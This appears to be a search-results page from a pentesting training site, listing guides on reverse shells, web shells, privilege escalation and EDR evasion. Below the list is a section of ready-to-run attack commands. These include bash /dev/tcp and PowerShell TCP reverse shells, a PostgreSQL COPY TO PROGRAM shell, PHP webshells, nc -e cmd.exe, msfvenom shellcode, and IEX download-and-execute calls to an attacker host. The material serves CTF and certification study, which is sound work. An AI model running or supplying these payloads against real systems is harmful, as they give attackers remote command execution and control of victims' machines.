Search everything
66 results for «reverse shell»
Guides 12
- Reverse shell not connecting or dying: how to fix it Why a reverse shell never arrives, drops instantly or dies on Ctrl+C, how to troubleshoot it step by step, and how to turn it into a full terminal on Linux and Windows.
- Malicious file upload: bypassing upload filters to get a web shell Upload filter bypass step by step: alternative extensions, Content-Type, magic bytes, .htaccess and web.config, and finding where the file lands to run it.
- MSSQL pentesting: xp_cmdshell, impersonation, linked servers and hash theft Attack SQL Server in a domain: connect with mssqlclient, run commands with xp_cmdshell, escalate with EXECUTE AS, abuse linked servers and steal hashes.
- Port forwarding and pivoting: SSH, chisel and socat How to reach a service that only listens on 127.0.0.1 or sits on another internal network: local, remote and dynamic SSH tunnels, chisel when there is no SSH, socat and proxychains.
- SSTI: fingerprinting the template engine and getting RCE Detect server-side template injection, work out whether it is Jinja2, Twig, FreeMarker, ERB or Mako, and the payloads to run commands on each one.
- Attacking WordPress, Joomla and Drupal: from wpscan to RCE Identify the CMS and its version, enumerate plugins and users with wpscan, joomscan and droopescan, and go from admin to shell on WordPress, Joomla and Drupal.
- OS command injection: detection, blind injection and filter bypasses How to find OS command injection on Linux and Windows, confirm it blind (time, DNS, HTTP) and bypass the most common space, keyword and character filters.
- SeImpersonatePrivilege and Potatoes: from service account to SYSTEM on Windows What SeImpersonate means, why IIS and MSSQL service accounts have it, and which Potato fits each Windows version: PrintSpoofer, GodPotato, JuicyPotatoNG.
- Exploiting a public CVE: finding, reading and fixing exploits from searchsploit and GitHub From a version number to a shell: identify the software, search searchsploit, GitHub and nuclei, read the exploit before running it and fix the broken ones.
- How antivirus and EDR detect you on Windows: AMSI, ETW, hooks, AppLocker and CLM explained What Defender or an EDR checks when you run a tool (signatures, AMSI, ETW, hooks, kernel callbacks), how to tell what protects a box, and AppLocker and CLM.
- Insecure deserialization: spotting and exploiting it in Java, .NET, PHP, Python and Node.js Spot serialized data by its first bytes (rO0AB, AAEAAAD, O:, gASV), understand gadget chains and get RCE with ysoserial, ysoserial.net, phpggc and pickle.
- Windows privilege escalation: services, unquoted paths, DLL hijacking and AlwaysInstallElevated Find and abuse Windows services with weak permissions, unquoted paths, DLL hijacking, scheduled tasks and AlwaysInstallElevated, by hand or with winPEAS.
MITRE ATT&CK techniques 2
Resources and tools 3
- Reverse shell generator Reverse shells in bash, nc, Python, PHP, Perl, PowerShell and more, with your IP and port already filled in. Includes listeners and msfvenom payloads.
- Upgrade your shell to a full TTY Turn a reverse shell into an interactive terminal with Ctrl+C, arrow keys, tab completion and the right size. Step by step, with script, Python or socat.
- PowerShell one-liner (-enc) Builds a powershell -enc command (Base64 UTF-16LE): reverse shell, download-and-run or your own code, with the listener and the decoder.
Learning paths 2
- Zero to OSCP Six stages in order, from your first nmap to a mock exam: Hack The Box machines, guides and cheat sheets to prepare for the OSCP without getting lost.
- Web pentesting: from the web to root The web vulnerabilities you see most in CTFs and real assessments, each with its guide, its cheat sheet and boxes where it is the way in.
Checklists 1
Guide sections 6
- 5. Windows Reverse shell not connecting or dying: how to fix it
- 2. The connection never arrives Reverse shell not connecting or dying: how to fix it
- 6. Getting files onto the target Reverse shell not connecting or dying: how to fix it
- 3. It connects and closes at once Reverse shell not connecting or dying: how to fix it
- 1. Check that you really have execution Reverse shell not connecting or dying: how to fix it
- 4. Making it stable: a full TTY on Linux Reverse shell not connecting or dying: how to fix it
Commands 40
-
Reverse shell with COPY
SQL injection payloads › PostgreSQL › Files and RCE
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"';-- -
One-liner reverse shell
Reverse shell generator › Windows › PowerShell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()" -
Webshell that launches the reverse shell
Reverse shell generator › Webshells › PHP
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"); ?> -
Catch a reverse shell from the internal network
Ligolo-ng › Recent versions (0.6 or later)
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp -
When the PowerShell reverse shell fails: use netcat
Evasion explained: AMSI, ETW and AppLocker › AppLocker / CLM › Where it leaks (concepts)
# Es la lección de Sniper: en modo restringido el one-liner de PowerShell no corre, pero un nc.exe subido a una carpeta permitida sí. nc.exe 10.10.14.5 443 -e cmd.exe -
C shellcode for Windows
Reverse shell generator › msfvenom › Shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 EXITFUNC=thread -b '\x00\x0a\x0d' -f c -
Python shellcode without null bytes
Reverse shell generator › msfvenom › Shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -b '\x00' -f python -
Minimal webshell
Reverse shell generator › Webshells › PHP
<?php system($_GET['cmd']); ?> -
Listener for ConPtyShell
Reverse shell generator › Windows › With binaries
stty raw -echo; (stty size; cat) | nc -lvnp 443 -
Call the webshell with curl
Reverse shell generator › Webshells › PHP
curl -G 'http://VICTIMA/uploads/shell.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'" -
Full TTY on Windows (ConPtyShell)
Reverse shell generator › Windows › With binaries
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 443 -
Nishang Invoke-PowerShellTcp from your server
Reverse shell generator › Windows › PowerShell
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 443"